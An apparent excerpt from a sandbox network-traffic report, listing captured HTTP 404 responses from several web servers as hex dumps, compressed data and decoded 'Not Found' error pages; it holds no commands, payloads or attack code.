5f fd 4b 91 9e b7 4d 69 2e c7 ea 20 ee c9
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Tue, 03 Dec 2024 13:55:00 GMTContent-Type: text/htmlTransfer-Encoding: chunkedConnection: closeVary: Accept-EncodingETag: W/"6735d5d4-11e4a"Content-Encoding: gzipData Raw: 33 65 64 38 0d 0a 1f 8b 08 00 00 00 00 00 00 03 ed 7d 69 93 1b c7 91 e8 77 45 f8 3f c0 63 ef 92 0c 93 33 83 6e a0 01 48 24 f7 e9 a0 bc 7e e1 7d f6 ae bd bb b1 f1 e2 c5 44 1f d5 f7 dd 8d d3 56 04 29 89 f7 2d 51 07 c5 91 28 4a a4 44 5d 3c 44 4a 24 67 78 44 f8 a7 d8 d3 00 e6 cb f3 5f 78 59 dd 0d a0 ba d1 98 01 30 03 7a fc 62 47 0a 02 dd e8 ae ca ca cc ca ca ca ca e3 85 fd 3f 7d ed 37 af fe fe bf 7e 7b 28 27 fb 86 7e f0 85 fd f8 23 a7 b3 a6 74 60 0e 99 73 f8 06 62 85 83 2f e4 e0 6f bf 81 7c 36 c7 cb ac eb 21 ff c0 dc bf ff fe f5 7d 65 fc 84 af f8 3a 3a f8 b2 f4 8f 3f 6b 14 0e 55 5e 7e 09 3e 8b 2f d3 79 fc 59 2a e5 5f c7 9f 85 43 af bc fc d2 9f 1e ec 0e bf 52 af 85 8f 30 af bf f6 d2 1e fc 85 2e 84 cf 16 0f 95 0a e1 b3 af 1f 0a af cb 2f 97 2b e1 e7 e2 62 f4 3b fd fa e2 4b fb 17 a2 de 5e d8 af 2b a6 96 73 91 7e 60 ce 93 2d d7 e7 ab 7e 4e e1 2d 73 2e 27 bb 48 3c 30 b7 20 b2 35 7c 3d 0f ff 60 20 43 d8 4d d6 40 07 e6 34 d4 ac 5b ae e0 Data Ascii: 3ed8}iwE?c3nH$~}DV)-Q(JD]<DJ$gxD_xY0zbG?}7~{('~#t`sb/o\|6!}e::?kU^~>/yY*_CR0./+b;K^+s~`-~N-s.'H<0 5\|=` CM@4[
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Tue, 03 Dec 2024 13:55:03 GMTContent-Type: text/htmlContent-Length: 73290Connection: closeVary: Accept-EncodingETag: "6735d5d4-11e4a"Data Raw: 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 0a 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 3e 0a 3c 74 69 74 6c 65 3e 41 67 26 23 78 34 45 39 41 3b 26 23 78 35 41 33 31 3b 26 23 78 37 37 31 46 3b 26 23 78 34 45 42 41 3b c2 b7 28 26 23 78 34 45 32 44 3b 26 23 78 35 36 46 44 3b 29 26 23 78 35 33 34 31 3b 26 23 78 35 45 37 34 3b 26 23 78 34 46 45 31 3b 26 23 78 38 41 38 39 3b 26 23 78 38 30 30 31 3b 26 23 78 35 33 46 30 3b 3c 2f 74 69 74 6c 65 3e 0a 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 68 6f 72 74 63 75 74 20 69 63 6f 6e 22 20 68 72 65 66 3d 22 2f 66 61 76 69 63 6f 6e 2e 69 63 6f 22 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 6b 65 79 77 6f 72 64 73 22 20 63 6f 6e 74 65 6e 74 3d 22 61 67 26 23 78 37 37 31 46 3b 26 23 78 34 45 42 41 3b 26 23 78 36 46 42 33 3b 26 23 78 39 35 45 38 3b 26 23 78 37 36 37 45 3b 26 23 78 35 42 42 36 3b 26 23 78 35 42 42 36 3b 26 23 78 34 45 35 30 3b 26 23 78 37 46 35 31 3b 26 23 78 37 41 44 39 3b 2c 41 67 26 23 78 34 45 39 41 3b 26 23 78 35 41 33 31 3b 26 23 78 35 42 39 38 3b 26 23 78 37 46 35 31 3b 2c 61 67 26 23 78 37 37 31 46 3b 26 23 78 34 45 42 41 3b 26 23 78 35 45 37 33 3b 26 23 78 35 33 46 30 3b 26 23 78 35 42 39 38 3b 26 23 78 36 35 42 39 3b 22 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 64 65 73 63 72 69 70 74 69 6f 6e 22 20 63 6f 6e 74 65 6e 74 3d 22 61 67 26 23 78 37 37 31 46 3b 26 23 78 34 45 42 41 3b 26 23 78 36 46 42 33 3b 26 23 78 39 35 45 38 3b 26 23 78 37 36 37 45 3b 26 23 78 35 42 42 36 3b 26 23 78 35 42 42 36 3b 26 23 78 34 45 35 30 3b 26 23 78 37 46 35 31 3b 26 23 78 37 41 44 39 3b 26 23 78 33 30 31 30 3b 26 23 78 34 45 45 35 3b 26 23 78 35 43 30 46 3b 26 23 78 35 33 35 41 3b 26 23 78 35 39 32 37 3b 26 23 78 33 30 31 31 3b 2c 61 67 26 23 78 37 37 31 46 3b 26 23 78 34 45 42 41 3b 26 23 78 36 46 42 33 3b 26 23 78 39 35 45 38 3b 26 23 78 37 36 37 45 3b 26 23 78 35 42 42 36 3b 26 23 78 35 42 42 36 3b 26 23 78 34 45 35 30 3b 26 23 78 37 46 35 31 3b 26 23 78 37 41 44 39 3b 26 23 78 36 44 42 35 3b 26 23 78 37 36 44 36 3b 26 23 78 38 44 42 33 3b 26 23 78 37 34 30 33 3b 26 23 78 33 30 30 31 3b 26 23 78 37 37 31 46 3b 26 23 78 34 45 42 41 3b 26 23 78 38 39 43 36 3b 26 23 78 38 42 41 46 3b 26 23 78 33 30 30 31 3b 26 23 78 37 35 33 35 3b 26 23 78 35 42 35 30 3b 26 23 78 36 45 33 38 3b 26 23 78 38 32 37 41 3b 26 23 78 33 30 30 31 3b 26 23 78 35 42 39 38 3b 26 23 78 36 35 42 39 3b 26 23 78 37 36 46 34 3b 26 23 78 38 34 32 35 3b 2c 41 67 26 23 78 34 45 39 41 3b 26 23 78 35 41 33 31 3b 26 23 78 35 42 39 38 3b 26 23 78 37 46 35 31 3b 26 23 78 36 36 32 46 3b 26 23 78 36 37 30 30 3b 26 23 78 39 41 44 38 3b 26 23 78 39 30 31 46 3b 26 23 78 37 36 38 34 3b 26 23 78 34 45 30 42 3b 26 23 78 38 46 37 44 3b 26 23 78 35 34 38 43 3b 2
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundConnection: closecache-control: private, no-cache, no-store, must-revalidate, max-age=0pragma: no-cachecontent-type: text/htmlcontent-length: 796date: Tue, 03 Dec 2024 13:55:12 GMTserver: LiteSpeedData Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 73 74 79 6c 65 3d 22 68 65 69 67 68 74 3a 31 30 30 25 22 3e 0a 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 73 68 72 69 6e 6b 2d 74 6f 2d 66 69 74 3d 6e 6f 22 20 2f 3e 0a 3c 74 69 74 6c 65 3e 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0d 0a 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 3e 40 6d 65 64 69 61 20 28 70 72 65 66 65 72 73 2d 63 6f 6c 6f 72 2d 73 63 68 65 6d 65 3a 64 61 72 6b 29 7b 62 6f 64 79 7b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 30 30 30 21 69 6d 70 6f 72 74 61 6e 74 7d 7d 3c 2f 73 74 79 6c 65 3e 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 20 73 74 79 6c 65 3d 22 63 6f 6c 6f 72 3a 20 23 34 34 34 3b 20 6d 61 72 67 69 6e 3a 30 3b 66 6f 6e 74 3a 20 6e 6f 72 6d 61 6c 20 31 34 70 78 2f 32 30 70 78 20 41 72 69 61 6c 2c 20 48 65 6c 76 65 74 69 63 61 2c 20 73 61 6e 73 2d 73 65 72 69 66 3b 20 68 65 69 67 68 74 3a 31 30 30 25 3b 20 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 20 23 66 66 66 3b 22 3e 0a 3c 64 69 76 20 73 74 79 6c 65 3d 22 68 65 69 67 68 74 3a 61 75 74 6f 3b 20 6d 69 6e 2d 68 65 69 67 68 74 3a 31 30 30 25 3b 20 22 3e 20 20 20 20 20 3c 64 69 76 20 73 74 79 6c 65 3d 22 74 65 78 74 2d 61 6c 69 67 6e 3a 20 63 65 6e 74 65 72 3b 20 77 69 64 74 68 3a 38 30 30 70 78 3b 20 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 20 2d 34 30 30 70 78 3b 20 70 6f 73 69 74 69 6f 6e 3a 61 62 73 6f 6c 75 74 65 3b 20 74 6f 70 3a 20 33 30 25 3b 20 6c 65 66 74 3a 35 30 25 3b 22 3e 0a 20 20 20 20 20 20 20 20 3c 68 31 20 73 74 79 6c 65 3d 22 6d 61 72 67 69 6e 3a 30 3b 20 66 6f 6e 74 2d 73 69 7a 65 3a 31 35 30 70 78 3b 20 6c 69 6e 65 2d 68 65 69 67 68 74 3a 31 35 30 70 78 3b 20 66 6f 6e 74 2d 77 65 69 67 68 74 3a 62 6f 6c 64 3b 22 3e 34 30 34 3c 2f 68 31 3e 0a 3c 68 32 20 73 74 79 6c 65 3d 22 6d 61 72 67 69 6e 2d 74 6f 70 3a 32 30 70 78 3b 66 6f 6e 74 2d 73 69 7a 65 3a 20 33 30 70 78 3b 22 3e 4e 6f 74 20 46 6f 75 6e 64 0d 0a 3c 2f 68 32 3e 0a 3c 70 3e 54 68 65 20 72 65 73 6f 75 72 63 65 20 72 65 71 75 65 73 74 65 64 20 63 6f 75 6c 64 20 6e 6f 74 20 62 65 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 21 3c 2f 70 3e 0a 3c 2f 64 69 76 3e 3c 2f 64 69 76 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE html><html style="height:100%"><head><meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no" /><title> 404 Not Found</title><style>@media (prefers-color-scheme:dark){body{background-color:#000!important}}</style></head><body style="color: #444; margin:0;font: normal 14px/20px Arial, Helvetica, sans-serif;
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundContent-Type: text/htmlTransfer-Encoding: chunkedConnection: closeDate: Tue, 03 Dec 2024 13:55:17 GMTServer: ApacheContent-Encoding: gzipData Raw: 31 37 33 0d 0a 1f 8b 08 00 00 00 00 00 00 03 7d 51 4b 4f c3 30 0c be ef 57 98 70 4e b3 32 0e 5b d7 ee c0 36 09 a4 f1 10 14 01 c7 d0 ba 6b 44 9a 94 d4 a3 1b bf 9e b4 e3 2d c4 c9 4e f4 3d ec cf f1 c1 e2 72 9e 3e 5c 2d a1 a4 4a c3 d5 ed c9 ea 6c 0e 8c 0b 71 37 9a 0b b1 48 17 70 7f 9a 9e af 20 0c 86 90 3a 69 1a 45 ca 1a a9 85 58 5e b0 01 2b 89 ea 48 88 b6 6d 83 76 14 58 b7 16 e9 b5 d8 76 5a 61 47 7e 6f 39 7d 63 06 39 e5 6c 36 88 7b 43 2d cd 3a 61 68 18 6c 2b 1d fd 78 99 26 f9 43 3e 9c 4c 26 7b 55 af 01 71 89 32 f7 15 62 52 a4 b1 eb 60 e9 9c 75 70 3c 3c 06 0e 17 96 a0 b0 1b 93 77 10 f1 89 89 2b 24 09 99 35 84 86 12 46 b8 25 d1 8d 33 85 ac 94 ae 41 4a 36 54 f0 31 f3 a1 50 cd f1 79 a3 5e 12 36 df c3 79 ba ab b1 f3 86 5f 2a c6 f2 4c 66 25 fe 64 f5 5f bc b3 72 56 f7 23 8b f7 99 e3 47 9b ef a0 a1 9d c6 84 15 1e c0 0b 59 29 bd 8b a4 53 52 4f f7 16 65 f8 81 c8 ac b6 2e 3a 1c ca d1 d1 38 9b f6 f8 46 bd 62 e4 0f 83 d5 1e fd cf ea 65 d8 4f 5c 7f a8 7d f1 87 c1 f8 93 bf 50 08 fe 20 b8 c6 47 34 08 37 a8 08 e1 c9 1a 9f 13 18 95 95 04 6b 2c 7c 9a 68 a0 45 e7 4b d0 e7 5a 7b ed 58 74 eb f8 b3 f6 41 ce 06 6f 0c cc 0d 5b 59 02 00 00 0d 0a 30 0d 0a 0d 0a Data Ascii: 173}QKO0WpN2[6kD-N=r>\-Jlq7Hp :iEX^+HmvXvZaG~o9}c9l6{C-:ahl+x&C>L&{Uq2bR`up<<w+$5F%3AJ6T1Py^6y_*Lf%d_rV#GY)SROe.:8FbeO\}P G47k,\|hEKZ{XtAo[Y0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundContent-Type: text/htmlTransfer-Encoding: chunkedConnection: closeDate: Tue, 03 Dec 2024 13:55:20 GMTServer: ApacheContent-Encoding: gzipData Raw: 31 37 33 0d 0a 1f 8b 08 00 00 00 00 00 00 03 7d 51 4b 4f c3 30 0c be ef 57 98 70 4e b3 32 0e 5b d7 ee c0 36 09 a4 f1 10 14 01 c7 d0 ba 6b 44 9a 94 d4 a3 1b bf 9e b4 e3 2d c4 c9 4e f4 3d ec cf f1 c1 e2 72 9e 3e 5c 2d a1 a4 4a c3 d5 ed c9 ea 6c 0e 8c 0b 71 37 9a 0b b1 48 17 70 7f 9a 9e af 20 0c 86 90 3a 69 1a 45 ca 1a a9 85 58 5e b0 01 2b 89 ea 48 88 b6 6d 83 76 14 58 b7 16 e9 b5 d8 76 5a 61 47 7e 6f 39 7d 63 06 39 e5 6c 36 88 7b 43 2d cd 3a 61 68 18 6c 2b 1d fd 78 99 26 f9 43 3e 9c 4c 26 7b 55 af 01 71 89 32 f7 15 62 52 a4 b1 eb 60 e9 9c 75 70 3c 3c 06 0e 17 96 a0 b0 1b 93 77 10 f1 89 89 2b 24 09 99 35 84 86 12 46 b8 25 d1 8d 33 85 ac 94 ae 41 4a 36 54 f0 31 f3 a1 50 cd f1 79 a3 5e 12 36 df c3 79 ba ab b1 f3 86 5f 2a c6 f2 4c 66 25 fe 64 f5 5f bc b3 72 56 f7 23 8b f7 99 e3 47 9b ef a0 a1 9d c6 84 15 1e c0 0b 59 29 bd 8b a4 53 52 4f f7 16 65 f8 81 c8 ac b6 2e 3a 1c ca d1 d1 38 9b f6 f8 46 bd 62 e4 0f 83 d5 1e fd cf ea 65 d8 4f 5c 7f a8 7d f1 87 c1 f8 93 bf 50 08 fe 20 b8 c6 47 34 08 37 a8 08 e1 c9 1a 9f 13 18 95 95 04 6b 2c 7c 9a 68 a0 45 e7 4b d0 e7 5a 7b ed 58 74 eb f8 b3 f6 41 ce 06 6f 0c cc 0d 5b 59 02 00 00 0d 0a 30 0d 0a 0d 0a Data Ascii: 173}QKO0WpN2[6kD-N=r>\-Jlq7Hp :iEX^+HmvXvZaG~o9}c9l6{C-:ahl+x&C>L&{Uq2bR`up<<w+$5F%3AJ6T1Py^6y_*Lf%d_rV#GY)SROe.:8FbeO\}P G47k,\|hEKZ{XtAo[Y0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundContent-Type: text/htmlTransfer-Encoding: chunkedConnection: closeDate: Tue, 03 Dec 2024 13:55:23 GMTServer: ApacheContent-Encoding: gzipData Raw: 31 37 33 0d 0a 1f 8b 08 00 00 00 00 00 00 03 7d 51 4b 4f c3 30 0c be ef 57 98 70 4e b3 32 0e 5b d7 ee c0 36 09 a4 f1 10 14 01 c7 d0 ba 6b 44 9a 94 d4 a3 1b bf 9e b4 e3 2d c4 c9 4e f4 3d ec cf f1 c1 e2 72 9e 3e 5c 2d a1 a4 4a c3 d5 ed c9 ea 6c 0e 8c 0b 71 37 9a 0b b1 48 17 70 7f 9a 9e af 20 0c 86 90 3a 69 1a 45 ca 1a a9 85 58 5e b0 01 2b 89 ea 48 88 b6 6d 83 76 14 58 b7 16 e9 b5 d8 76 5a 61 47 7e 6f 39 7d 63 06 39 e5 6c 36 88 7b 43 2d cd 3a 61 68 18 6c 2b 1d fd 78 99 26 f9 43 3e 9c 4c 26 7b 55 af 01 71 89 32 f7 15 62 52 a4 b1 eb 60 e9 9c 75 70 3c 3c 06 0e 17 96 a0 b0 1b 93 77 10 f1 89 89 2b 24 09 99 35 84 86 12 46 b8 25 d1 8d 33 85 ac 94 ae 41 4a 36 54 f0 31 f3 a1 50 cd f1 79 a3 5e 12 36 df c3 79 ba ab b1 f3 86 5f 2a c6 f2 4c 66 25 fe 64 f5 5f bc b3 72 56 f7 23 8b f7 99 e3 47 9b ef a0 a1 9d c6 84 15 1e c0 0b 59 29 bd 8b a4 53 52 4f f7 16 65 f8 81 c8 ac b6 2e 3a 1c ca d1 d1 38 9b f6 f8 46 bd 62 e4 0f 83 d5 1e fd cf ea 65 d8 4f 5c 7f a8 7d f1 87 c1 f8 93 bf 50 08 fe 20 b8 c6 47 34 08 37 a8 08 e1 c9 1a 9f 13 18 95 95 04 6b 2c 7c 9a 68 a0 45 e7 4b d0 e7 5a 7b ed 58 74 eb f8 b3 f6 41 ce 06 6f 0c cc 0d 5b 59 02 00 00 0d 0a 30 0d 0a 0d 0a Data Ascii: 173}QKO0WpN2[6kD-N=r>\-Jlq7Hp :iEX^+HmvXvZaG~o9}c9l6{C-:ahl+x&C>L&{Uq2bR`up<<w+$5F%3AJ6T1Py^6y_*Lf%d_rV#GY)SROe.:8FbeO\}P G47k,\|hEKZ{XtAo[Y0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundContent-Type: text/htmlContent-Length: 601Connection: closeDate: Tue, 03 Dec 2024 13:55:26 GMTServer: ApacheData Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 58 48 54 4d 4c 20 31 2e 30 20 54 72 61 6e 73 69 74 69 6f 6e 61 6c 2f 2f 45 4e 22 0a 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 78 68 74 6d 6c 31 2f 44 54 44 2f 78 68 74 6d 6c 31 2d 74 72 61 6e 73 69 74 69 6f 6e 61 6c 2e 64 74 64 22 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 20 78 6d 6c 3a 6c 61 6e 67 3d 22 65 6e 22 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 31 39 39 39 2f 78 68 74 6d 6c 22 3e 0a 20 3c 68 65 61 64 3e 0a 20 20 3c 74 69 74 6c 65 3e 0a 20 20 20 45 72 72 6f 72 20 34 30 34 20 2d 20 4e 6f 74 20 66 6f 75 6e 64 0a 20 20 3c 2f 74 69 74 6c 65 3e 0a 20 20 3c 6d 65 74 61 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 3e 0a 20 20 3c 6d 65 74 61 20 63 6f 6e 74 65 6e 74 3d 22 6e 6f 2d 63 61 63 68 65 22 20 68 74 74 70 2d 65 71 75 69 76 3d 22 63 61 63 68 65 2d 63 6f 6e 74 72 6f 6c 22 3e 0a 20 3c 2f 68 65 61 64 3e 0a 20 3c 62 6f 64 79 20 73 74 79 6c 65 3d 22 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 61 72 69 61 6c 3b 22 3e 0a 20 20 3c 68 31 20 73 74 79 6c 65 3d 22 63 6f 6c 6f 72 3a 23 30 61 33 32 38 63 3b 66 6f 6e 74 2d 73 69 7a 65 3a 31 2e 30 65 6d 3b 22 3e 0a 20 20 20 45 72 72 6f 72 20 34 30 34 20 2d 20 4e 6f 74 20 66 6f 75 6e 64 0a 20 20 3c 2f 68 31 3e 0a 20 20 3c 70 20 73 74 79 6c 65 3d 22 66 6f 6e 74 2d 73 69 7a 65 3a 30 2e 38 65 6d 3b 22 3e 0a 20 20 20 44 69 65 20 61 6e 67 65 67 65 62 65 6e 65 20 53 65 69 74 65 20 6b 6f 6e 6e 74 65 20 6e 69 63 68 74 20 67 65 66 75 6e 64 65 6e 20 77 65 72 64 65 6e 2e 0a 20 20 3c 2f 70 3e 0a 20 3c 2f 62 6f 64 79 3e 0a 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN""http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"><html lang="en" xml:lang="en" xmlns="http://www.w3.org/1999/xhtml"> <head> <title> Error 404 - Not found </title> <meta content="text/html; charset=utf-8" http-equiv="Content-Type"> <meta content="no-cache" http-equiv="cache-control"> </head> <body style="font-family:arial;"> <h1 style="color:#0a328c;font-size:1.0em;"> Error 404 - Not found </h1> <p style="font-size:0.8em;"> Die angegebene Seite konnte nicht gefunden werden. </p> </body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Tue, 03 Dec 2024 13:55:45 GMTServer: ApacheContent-Length: 389Connection: closeContent-Type: text/htmlData Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 77 69 6e 64 6f 77 73 2d 31 32 35 32 22 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0a 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0a 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!DOCTYPE html PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><meta http-equiv="Content-Type" content="text/html; charset=windows-1252"><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p><p>Additionally, a 404 Not Founderror was encountered while trying to use an ErrorDocument to handle the request.</p></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Tue, 03 Dec 2024 13:55:47 GMTServer: ApacheContent-Length: 389Connection: closeContent-Type: text/htmlData Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 77 69 6e 64 6f 77 73 2d 31 32 35 32 22 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0a 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0a 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!DOCTYPE html PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><meta http-equiv="Content-Type" content="text/html; charset=windows-1252"><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p><p>Additionally, a 404 Not Founderror was encountered while trying to use an ErrorDocument to handle the request.</p></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Tue, 03 Dec 2024 13:55:50 GMTServer: ApacheContent-Length: 389Connection: closeContent-Type: text/htmlData Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 77 69 6e 64 6f 77 73 2d 31 32 35 32 22 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0a 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0a 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!DOCTYPE html PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><meta http-equiv="Content-Type" content="text/html; charset=windows-1252"><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p><p>Additionally, a 404 Not Founderror was encountered while trying to use an ErrorDocument to handle the request.</p></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Tue, 03 Dec 2024 13:55:53 GMTServer: ApacheContent-Length: 389Connection: closeContent-Type: text/html; charset=utf-8Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 77 69 6e 64 6f 77 73 2d 31 32 35 32 22 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 